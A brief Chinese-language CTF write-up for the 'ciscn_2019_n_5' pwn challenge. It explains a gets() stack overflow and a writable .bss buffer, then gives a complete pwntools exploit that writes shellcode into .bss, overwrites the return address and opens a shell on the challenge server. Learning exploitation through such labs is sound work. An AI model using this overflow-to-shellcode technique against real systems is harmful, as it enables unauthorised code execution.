1.例行检查保护机制
2.我们用64位的IDA打开该文件
shift+f12查看关键字符串,没有看到‘/bin/sh’可以拿到权限类的字符串
3.我们进入main函数看看
我们可以看出gets(text,name)这里造成溢出
我们再去看看name,然后发现name是bss段上的全局变量
又因为该题没有system("/bin/sh")的字样,所以我们可以向bss段写入shellcode拿到权限
shellcode = asm(shellcraft.sh()) #这个语句是生成shellcode,以便我们拿到权限
text:0x20
4.EXP
#encoding = utf-8
from pwn import *
from LibcSearcher import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
content = 0
def main():
if content == 1:
p = process('ciscn_2019_n_5')
else:
p = remote('node4.buuoj.cn',28835)
#.bss:0000000000601080 name
name_bss_addr = 0x0601080
shellcode = asm(shellcraft.sh())
payload = b'a' * (0x20+0x8) + p64(name_bss_addr)
p.recvuntil("tell me your name\n")
p.sendline(shellcode)
p.recvuntil("What do you want to say to me?\n")
p.sendline(payload)
p.interactive()
main()